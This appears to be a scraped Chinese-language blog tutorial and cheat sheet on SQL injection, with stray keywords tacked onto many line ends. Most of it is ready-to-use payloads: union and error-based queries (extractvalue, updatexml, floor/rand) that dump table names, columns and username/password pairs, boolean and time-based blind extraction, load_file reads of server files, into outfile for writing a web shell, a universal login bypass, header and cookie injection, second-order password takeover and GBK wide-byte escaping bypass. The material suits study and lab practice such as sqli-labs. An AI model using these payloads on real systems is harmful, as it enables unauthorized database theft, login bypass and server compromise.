Mirror王宇陽javascript
2019-10-22php
SQL的注入流程通常以下:html
一、判斷是否有SQL注入漏洞(判斷注入點)前端
二、判斷數據庫的系統架構、數據庫名、web應用類型等java
三、獲取數據庫信息mysql
四、加密信息破解web
五、進行提權sql
當輸入(注入)的參數爲整數,則能夠認爲該漏洞注入點爲數字型注入;數據庫
http://192.168.2.172/index.php/?id=8
在後端中SQL語句構成以下:後端
select * from user where id=8;
當輸入(注入)的參數爲字符/串時能夠認定爲是字符型注入漏洞
POST注入:注入字段在POST數據中
Cookie注入:注入字段在Cookie數據中
延遲注入:使用數據庫延遲特性進行注入
搜索注入:在搜索欄中利用惡意代碼進行注入
base64注入:注入字符串通過base64加密
' or 1=1 # and 1=1 # and '1'='1' # 1') and ('1=1') #
url/?id=1/1 url/?id=1/0
PHP搭建的Web應用後端爲MySQL
JSP搭建的Web應用後端爲Oracle
ASP搭建的Web應用後端爲MSSQL
字符串鏈接判斷:
?id=1 and '1'+'1' = '11' ?id=1 and concat('1','1')='11'
判斷數據庫的系統庫表:
' and (select count(*) from information_schema.tables)>0 and 1=1
默認變量:
'?; select @@servername--+
字符串鏈接判斷:
?id=1 and '1'+'1'='11'
數據庫系統表判斷:
' and (select count(*) from sysobjects)>0 and 1=1
系統表判斷:
' and (select count(*) from sys.user_tables)>0 and 1=1
字符串鏈接判斷:
and '1'||'1' = '11' and concat('1','1')='11'
語句執行後返回異常信息,這些異常信息包含了重要數據
floor
和group by
配合使用group by
的key惟一性和編碼順序致使二次執行產生不一樣大的key
' and select count(*) from table group by floor(rand(0))*2 #
union select 1,count(*),concat(0x7e,0x7e,(select table_name from information_schema.tables where table_schema='schema_name' limit 0,1),0x7e,0x7e,floor(rand(0)*2))x from information_schema.tables group by x #
count()
統計行數
floor(x)
返回小於或等於x的整數
rand()
返回0~1的隨機數
floor(rand(0)*2)
返回數的規律011011
原始表須要擁有三條數據以上
報錯注入產生緣由:
調用count()函數是,會建立一張臨時表用來統計group by後的行數;第一次查詢到的結果爲0,插入到臨時表中,因爲結果爲0 再一次對原始表進行查詢,結果返回1,插入到臨時表中;第二次查詢結果爲1 由於臨時表有了1,因此直接在count(1)上加1,此時1字段有了兩行,第三次查詢結果爲0 插入到臨時表的同時再次查詢原始表,結果爲1進行插入,因爲此前1字段已經存在。
# 爆表 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1 --+ # 爆字段 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))=1 --+ # 爆數據 and extractvalue(1,concat(0x7e,(select group_concat(username,0x7e,password) from users)))=1 --+
1' and extractvalue(1,concat(0x7e,user()))#
extractvalue(xml_document,xpath_string)
從目標XML查詢返回字符串
xml_document
是string的格式,爲XML文檔對象的名稱中文爲Doc
xpath_string
Xpath格式的字符串
concat
返回結果爲鏈接參數產生的字符串
咱們從數據庫的注入點中進行報錯注入,獲得了數據庫當前表
1' and updatexml(1,concat(0x7e,(user())),1);#
updatexml(xml_document,xpath_string,new_value)
從目標XML查詢返回字符串
xml-document
是字符串格式,爲XML文檔對象的名字中文爲doc
xpath-string
xpath格式字符串
new_value
new_value格式字符串
and (select * from (select * from test as a join test as b) as c using(column_name1,...));
join
鏈接兩張表
test
表名
using
關聯兩張表的相同字段
union select * from (select name_const(version(),1),name_const(version(),1))x;#
name_const(0)
重複報錯,傳入參數爲常量
# 猜解列數 union select 1,2[,……] --+ # 爆表 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ # 爆字段 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' --+ # 爆數據 union select 1,group_concat(id,0x7e,email_id),3 from emails --+
group_concat()
: 將group by產生的同一個分組中的值鏈接起來,返回一個字符串結果
經過條件是否成立來判斷
?id=1' and left(version(),1)='5' --+
left()
:從左截取a結果的1個長度的字符
只有當and
後面的sql語句爲True纔不會報錯~……
經過猜解的方式,利用left的方法猜解數據庫的版本信息第一個字符(環境是Mysql 5.1,因此版本信息第一個字符是‘5’)由此推演,咱們能夠利用布爾的判斷特性來猜解數據庫名……
若是咱們不斷的對目標進行猜解,就能夠獲得數據庫名的第一個字符,以此類推第二個字符……第N個字符;數據庫名的長度也能夠經過length(database())>=*
進行猜解
牢記布爾盲注的特色:只有當and
後面的sql語句爲True纔不會報錯;報錯就表示and後的sql語句不成立……開動腦筋就能夠創造奇蹟
ascii(substr((select table_name from information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 #
ascii(substr((select database()),1,1))=98
substr(a,b,c)
將a結果從b開始截取c長度字符,ascii()將字符轉爲ascii值
like匹配注入
select user() like 'ro%'
extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+
updatexml(1,concat(0x7e,(select @@version),0x7e),0x7e) --+
主要思路就是利用時間延遲來判斷布爾條件是否達成,本質上是利用時間延遲來進行布爾和報錯盲注的判斷依據條件;用於沒有任何回顯信息的時候使用~
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判斷語句, 條件爲假,
?id=1' and if(ascii(substr(database(),1,1))=96,1,sleep(10)) --+
ascii()
負責猜解;if()
負責判斷,如果猜解成立則返回1,如果猜解不成立延遲10秒
and exists(select * from admin);
exists()
檢查行是否存在返回true或false
XOR(if(now()=sysdate(),sleep(4),0))OR;
xor
異或,當條件不成立則執行sleep(4)
now()
返回語句開始執行的時間
sysdate()
動態的實時時間
sleep()
設置sql語句的執行時間
distinct
返回不重複字段
load_file(file_name)
:讀取文件並返回該文件的內容做爲一個字符串
具備文件的讀寫權限 show variables like '%secure%';
文件存在服務器上且可讀
瞭解文件的具體路徑
絕對物理物理:提交一個錯誤的請求,程序會由機率性質爆出web目錄的絕對路徑diaplay_errors=on
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109))) 利用 hex()將文件內容導出來, 尤爲是 smb 文件時可使用。 -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105)) Explain: 「char(99,58,47,98,111,111,116,46,105,110,105)」 就是「c:/boot.ini」 的 ASCII 代碼 -1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69) Explain: 「c:/boot.ini」 的 16 進制是「0x633a2f626f6f742e696e69」 -1 union select 1,1,1,load_file(c:\boot.ini) Explain:路徑裏的/用 \代替
load data infile
從文本文件中讀取行數據,並存入一個表中,
load data infile {url} into table 表名(字段)
select [^] into outfile '[file_name]';
選擇的一行寫入到文件中,該文件保存在服務器主機上
若是達到滲透攻擊的目的~就i利用into outfile將一句話木馬寫入到文件中
提交表單,表單數據在後臺會構成sql語句;
$sql="SELECT user, pass FROM users WHERE username='$user' and pass='$pass'";
利用註釋符號的特性,改變sql語句的限制~
直接丟上萬能密碼
admin' or '1'='1' #
uname= admin' or '1'='1' #&passwd=pass&submit=Submit
語句在後臺就會構成:
$sql="SELECT user, pass FROM users WHERE username='admin' or '1'='1'#' and pass='$pass'"
後半部分的pass內容直接被註釋了!
uname= ' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #&passwd=pass&submit=Submit
post的注入利用,其實本質依舊沒有變~只是改變了請求的構造結構
有回顯的時候使用union或報錯注入
沒法使用常規回顯的時候可使用盲注……
用戶代理(user agent)是記錄軟件程序的客戶端信息的 HTTP 頭字段,他能夠用來統計目標和違規協議。在 HTTP 頭中應該包含它,這個字段的第一個空格前面是軟件的產品名稱,後面有一個可選的斜槓和版本號。並非全部的應用程序都會被獲取到 user-agent 信息,可是有些應用程序利用它存儲一些信息(如:購物車)。在這種狀況下,咱們就有必要研究下 user-agent 頭存在的問題了。
GET /index.php HTTP/1.1 Host:xx.xxx.xxx.xx User-Agent:admin' or 1/*
Referer 是另一個當應用程序沒有過濾存儲到數據庫時,容易發生 SQL 注入的 HTTP 頭。它是一個容許客戶端指定的可選頭部字段,經過它咱們能夠獲取到提交請求 URI 的服務器狀況。它容許服務器產生一系列的回退連接文檔,像感興趣的內容,日誌等。它也容許跟蹤那些壞連接以便維護。
GET /index.php HTTP/1.1 Host: [host] User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.101 Safari/537.36 Referer: http://www.yaboukir.com'
在ASP中,Request對象獲取客戶端提交數據使用的是POST仍是GET方法,同時Request對象能夠不經過集合過的數據,直接使用request("name")
asp按照QueryString(get),Form(post),Cookie,Serverariable集合順序來搜索,Cookie保存在客戶端的一個文本文件中,能夠修改;正是這個緣由能夠利用request.cookie方法來提交變量的值,利用系統的漏洞來進行注入
條件1是:程序對get和post方式提交的數據進行了過濾,但未對cookie提交的數據庫進行過濾。
條件2是:在條件1的基礎上還須要程序對提交數據獲取方式是直接request("xxx")的方式,未指明使用request對象的具體方法進行獲取,也就是說用request這個方法的時候獲取的參數能夠是是在URL後面的參數也能夠是cookie裏面的參數這裏沒有作篩選,以後的原理就像咱們的sql注入同樣了。
javascript:alert(document.cookie="id="+escape("1"))
document.cookie
當前瀏覽器中的cookie的value
alert()
彈出對話框,在對話框中確認信息
escape()
用於對字符串進行編碼
Cookie的注入原理核心在於修改本地保存的Cookie,利用Cookie來提交非法的查詢語句
若是開發者沒有對Cookie進行過濾檢查,Cookie的就可能會形成非法查詢語句的構造
X-Forwarded-For
是HTTP頭的一個字段;他被認爲是客戶端經過HTTP代理或者負載均衡器鏈接到Web服務端獲取源IP地址的標準
X-Forwarded-For
常見於檢測用戶的IP是否合法;
利用FireFox的XFF Header插件或者將Burp抓到的爆保存給SQLmap
*- 借鑑sqli-labs-24
分析環境文件:
login.php
:查詢數據庫用戶存在和驗證登陸
login.php中使用了mysql_real_escape_string()
函數對用戶輸入的字符串進行處理;會將特殊字符進行轉義使之失去效果;可是~以後數據存儲進數據庫後轉義的字符會恢復原樣!
在login_create.php
註冊頁面中,使用了mysql_real_escape_string()
可是數據仍是會被存放在數據庫中……
數據會被完整的記錄在數據庫中
數據庫中有了咱們的「小玩意」以後……
登陸咱們的帳戶,由於咱們的帳戶是以admin'#
保存的,當然要這樣的去訪問和登陸
前端提交user和pass後,會在修改密碼頁面修改密碼
就這樣咱們成功的修改了admin的密碼!爲啥呢?
Sql 語句變爲 UPDATE users SET passwd=」New_Pass」 WHERE username =’ admin’ # ‘ AND password=’
也 就 是 執 行 了 UPDATE users SET passwd=」New_Pass」 WHERE sername =’admin’
利用註冊的admin’# 修改密碼時候從數據庫提取該數據 形成了數據 命令拼接
mysql 在使用 GBK 編碼的時候, 會認爲兩個字符爲一個漢字, 例如%aa%5c 就是一個
漢字(前一個 ascii 碼大於 128 才能到漢字的範圍) 。 咱們在過濾 ’ 的時候, 每每利用的思
路是將 ‘ 轉換爲 ’
一、 %df 吃掉 具體的緣由是 urlencode(‘) = %5c%27, 咱們在%5c%27 前面添加%df, 形
成%df%5c%27, 而上面提到的 mysql 在 GBK 編碼方式的時候會將兩個字節當作一個漢字, 此
事%df%5c 就是一個漢字, %27 則做爲一個單獨的符號在外面, 同時也就達到了咱們的目的。
二、 將 ’ 中的 過濾掉, 例如能夠構造 %**%5c%5c%27 的狀況, 後面的%5c 會被前面的%5c
給註釋掉。 這也是 bypass 的一種方法。
get 型的方式咱們是以 url 形式提交的, 所以數據會經過 URLencode
post 型的注入當中, 將 utf-8 轉換爲 utf-16 或 utf-32, 例如將 ‘ 轉爲 utf-16 爲 � ‘